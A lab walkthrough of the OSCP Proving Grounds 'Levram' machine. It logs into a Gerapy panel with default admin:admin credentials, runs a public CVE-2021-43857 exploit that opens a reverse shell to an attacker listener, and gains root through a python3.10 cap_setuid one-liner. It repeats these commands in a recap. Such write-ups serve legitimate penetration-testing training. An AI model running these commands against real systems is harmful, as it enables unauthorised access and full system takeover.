OSCP Proving Grounds – Levram Walkthrough
Web Exploitation & Linux Privilege Escalation Practice
Levram | Linux
Difficulty: Easy–Medium
Tags: web, RCE, privesc, capabilities
Tools Used: Nmap, Searchsploit, Python, getcap, GTFOBins
A surgical OSCP-style target. Levram doesn’t waste your time with dead ends or rabbit holes—it sharpens your instincts. You’ll move from default creds to an authenticated RCE, then close with a stealthy cap_setuid abuse. No gimmicks. No filler. Just clean exploitation that rewards focus and technical depth.
Initial Enumeration
We start with the wide lens:
nmap -sC -sV -p- $IP --open
Output:
22/tcp open ssh
8000/tcp open http
Port 22 is standard fare. No creds yet, so we pivot to 8000.
Fired up the browser — and there it is: Gerapy, a Scrapy spider GUI. If you’ve messed with Python automation or scraping frameworks, you’ve seen this. In the wild? Rare. But when it shows up, it’s almost always internal, poorly secured, and forgotten.
Tried the old faithful:
Username: admin
Password: admin
Instant access. No brute, no guessing. Just laziness.
Web Panel ➤ Authenticated RCE
Inside the Gerapy admin dashboard, version info gave us the magic number: 0.9.7.
Quick Searchsploit recon:
searchsploit -m python/remote/50640.py
This exploit—CVE-2021-43857—targets how Gerapy executes project builds. By injecting Python code into a project’s config, then triggering a build, you can get remote code execution post-auth.
Fired off the exploit:
python3 50640.py --target $RHOST -p 8000 -L $LHOST -P 4444
No shell.
This is where most people rerun or switch payloads. But the issue wasn’t the shell—it was the logic. Gerapy needs a project in place to trigger the exploit. If none exist, it fails silently.
Fix: manually create a dummy project in the web UI. No code, just a name.
Rerun:
python3 50640.py --target $RHOST -p 8000 -L $LHOST -P 4444
rlwrap nc -lvnp 4444
Shell caught as app.
Checked the loot:
cat /home/app/user.txt
Privilege Escalation — cap_setuid
Next phase: root.
Ran the standards:
sudo -l
find / -perm -4000 -type f 2>/dev/null
Dead end.
Dropped into deeper post-ex:
getcap -r / 2>/dev/null
There it is:
/usr/bin/python3.10 = cap_setuid+ep
Critical. Unlike SUID binaries, Linux capabilities don’t show up in traditional privesc checks. But cap_setuid is just as powerful—it lets a binary change its effective UID. Python knows how to use it.
From GTFOBins:
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Escalated.
whoami
root
cat /root/root.txt
Why This Worked
Default Credentials
Internal tools are low on the hardening priority list. Gerapy isn’t supposed to be exposed—so “admin:admin” survives prod more often than you'd think.
CVE-2021-43857
The exploit didn’t fail—it needed setup. That’s why exploit logic matters more than exploit tools. When you understand how the backend works, you don’t get blocked.
Linux Capabilitiescap_setuid is a ghost—quiet, effective, and often missed. If you’re skipping getcap, you’re leaving escalations behind.
Command Recap
nmap -sC -sV -p- $IP --open
# Login to Gerapy panel at :8000 (admin:admin)
searchsploit -m python/remote/50640.py
# Manually create dummy project in Gerapy UI
python3 50640.py --target $RHOST -p 8000 -L $LHOST -P 4444
rlwrap nc -lvnp 4444
getcap -r / 2>/dev/null
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Summary / Review
Levram doesn’t hide. It teaches.
Web Panel ➤ Authenticated Exploit ➤ Capability Abuse ➤ Root.
Every step rewards precision:
Web panel was exposed.
Login was default.
RCE needed context.
Root was just a capability away.
This box is a training ground for subtlety. No privilege escalation checklist is complete without getcap. And no exploit is complete without understanding the application’s expectations.
Final Thoughts
Sloppy panel. Known vuln. Misconfigured binary.
Levram folds fast — if you’re listening closely.
Another one rooted. On to the next.